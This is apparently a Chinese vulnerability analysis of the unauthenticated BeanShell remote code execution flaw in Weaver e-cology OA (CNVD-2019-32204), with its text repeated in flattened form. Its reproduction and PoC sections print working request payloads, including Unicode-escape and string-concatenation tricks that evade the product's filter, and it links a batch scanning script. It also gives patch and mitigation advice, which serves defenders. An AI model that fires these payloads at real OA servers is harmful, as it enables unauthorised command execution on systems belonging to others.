泛微OA E-cology远程代码执行漏洞原理分析
字数 1159 2025-08-18 11:39:00

泛微OA E-cology远程代码执行漏洞分析报告

1. 漏洞概述

漏洞名称:泛微OA E-cology Beanshell接口远程代码执行漏洞
CVE编号:无
CNVD编号:CNVD-2019-32204
影响版本:e-cology <=9.0
威胁等级:高危
公开时间:2019年9月17日

2. 漏洞背景

泛微OA官方于2019年9月17日更新了一个远程代码执行漏洞补丁。该漏洞存在于泛微e-cology OA系统的JAVA Beanshell接口中,该接口可被未授权访问。攻击者通过构造特定的HTTP请求调用该Beanshell接口,可以绕过泛微本身的安全限制,实现远程命令执行。

3. 技术原理分析

3.1 Beanshell基础知识

BeanShell是一个小型、免费、可嵌入的Java源解释器,具有使用Java编写的对象脚本语言功能。主要特点包括:

  • 动态执行标准Java语法
  • 支持松散类型
  • 支持命令和方法闭包
  • 可以执行print、dir、eval、exec等命令

3.2 漏洞代码分析

漏洞存在于bsh-2.0b4.jar文件中,具体分析如下:

  1. 漏洞入口:servlet.BshServlet类中的doGet和doPost方法

    • doPost方法是对doGet的二次封装
    • doGet方法调用evalScript方法创建一个名为obj的对象
  2. 关键处理流程

    • pramString参数最终会被interpreter.eval处理
    • 调用链:bsh.Interpreter类的eval方法 → bsh.classpath/ClassManagerImpl.class → bsh.commands/exec.bsh脚本
  3. 命令执行点

    • exec.bsh脚本可以执行系统命令
    • 通过构造特定的HTTP请求参数,可以绕过安全限制执行任意命令

4. 漏洞复现

4.1 基本复现方法

  1. 简单命令执行

    bsh.script=exec("whoami")&bsh.servlet.output=raw
    
  2. 绕过全局过滤器

    • 使用Unicode编码:
      bsh.script=\u0065\u0078\u0065\u0063("whoami")&bsh.servlet.output=raw
      
    • 使用字符串拼接:
      bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\"command\"))")&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami
      

4.2 复现结果验证

  • 成功执行命令后会返回命令执行结果
  • 如果被过滤器拦截,会返回错误信息

5. 漏洞利用

5.1 PoC示例

  1. PoC1(基本执行):

    bsh.script=exec("whoami")&bsh.servlet.output=raw
    
  2. PoC2(Unicode编码):

    bsh.script=\u0065\u0078\u0065\u0063("whoami")&bsh.servlet.output=raw
    
  3. PoC3(字符串拼接):

    bsh.script=eval%00("ex"%2b"ec(bsh.httpServletRequest.getParameter(\"command\"))")&bsh.servlet.captureOutErr=true&bsh.servlet.output=raw&command=whoami
    

5.2 批量验证脚本

GitHub上提供了批量验证脚本,组合了常用的泛微OA web路径和上述绕过过滤器的PoC:

https://github.com/myzing00/Vulnerability-analysis/tree/master/0917/weaver-oa/CNVD-2019-32204

6. 修复建议

  1. 官方补丁

    • 升级e-cology OA到最新版本
    • 安装官方BSH安全补丁包
  2. 临时缓解措施

    • 限制对Beanshell接口的访问
    • 加强输入过滤,特别是对exec、eval等关键字的检测

7. 免责声明

本文中提到的漏洞利用Poc和脚本仅供研究学习使用,请遵守《网络安全法》等相关法律法规。

泛微OA E-cology远程代码执行漏洞分析报告 1. 漏洞概述 漏洞名称 :泛微OA E-cology Beanshell接口远程代码执行漏洞 CVE编号 :无 CNVD编号 :CNVD-2019-32204 影响版本 :e-cology <=9.0 威胁等级 :高危 公开时间 :2019年9月17日 2. 漏洞背景 泛微OA官方于2019年9月17日更新了一个远程代码执行漏洞补丁。该漏洞存在于泛微e-cology OA系统的JAVA Beanshell接口中,该接口可被未授权访问。攻击者通过构造特定的HTTP请求调用该Beanshell接口,可以绕过泛微本身的安全限制,实现远程命令执行。 3. 技术原理分析 3.1 Beanshell基础知识 BeanShell是一个小型、免费、可嵌入的Java源解释器,具有使用Java编写的对象脚本语言功能。主要特点包括: 动态执行标准Java语法 支持松散类型 支持命令和方法闭包 可以执行print、dir、eval、exec等命令 3.2 漏洞代码分析 漏洞存在于bsh-2.0b4.jar文件中,具体分析如下: 漏洞入口 :servlet.BshServlet类中的doGet和doPost方法 doPost方法是对doGet的二次封装 doGet方法调用evalScript方法创建一个名为obj的对象 关键处理流程 : pramString参数最终会被interpreter.eval处理 调用链:bsh.Interpreter类的eval方法 → bsh.classpath/ClassManagerImpl.class → bsh.commands/exec.bsh脚本 命令执行点 : exec.bsh脚本可以执行系统命令 通过构造特定的HTTP请求参数,可以绕过安全限制执行任意命令 4. 漏洞复现 4.1 基本复现方法 简单命令执行 : 绕过全局过滤器 : 使用Unicode编码: 使用字符串拼接: 4.2 复现结果验证 成功执行命令后会返回命令执行结果 如果被过滤器拦截,会返回错误信息 5. 漏洞利用 5.1 PoC示例 PoC1 (基本执行): PoC2 (Unicode编码): PoC3 (字符串拼接): 5.2 批量验证脚本 GitHub上提供了批量验证脚本,组合了常用的泛微OA web路径和上述绕过过滤器的PoC: 6. 修复建议 官方补丁 : 升级e-cology OA到最新版本 安装官方BSH安全补丁包 临时缓解措施 : 限制对Beanshell接口的访问 加强输入过滤,特别是对exec、eval等关键字的检测 7. 免责声明 本文中提到的漏洞利用Poc和脚本仅供研究学习使用,请遵守《网络安全法》等相关法律法规。